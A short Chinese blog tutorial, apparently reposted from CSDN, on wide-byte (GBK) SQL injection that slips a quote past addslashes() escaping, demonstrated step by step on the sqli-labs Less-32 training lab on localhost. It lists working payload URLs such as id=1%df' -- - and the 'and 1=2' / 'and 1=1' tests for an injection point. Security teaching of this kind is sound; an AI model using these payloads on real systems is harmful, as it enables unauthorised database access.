sql注入——宽字节注入

宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码时,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

在sql注入时,addslashes()函数会把你输入的sql语句中的单引号(’),双引号(")等特殊字符转义掉,使之变成字符串,这个时候就需要用到宽字节注入。

以sql labs32为例

1.在sql labs32中输入http://localhost/sqli-labs-master/Less-32/?id=1' -- -,可看到单引号自动转义了

2.在浏览器的输入框输入http://localhost/sqli-labs-master/Less-32/?id=1%df' -- - 

回车可看到

此时输入框变为http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20--%20-

3.在输入框继续写:http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20 and 1=2--%20-

回车发现页面发生变化,显示下图

4.在输入框写http://localhost/sqli-labs-master/Less-32/?id=1%df%27%20 and 1=1--%20-

回车显示与上一步结果不同,说明该处为注入点

发布了38 篇原创文章 · 获赞 21 · 访问量 1946

猜你喜欢

转载自blog.csdn.net/cxrpty/article/details/104258709
今日推荐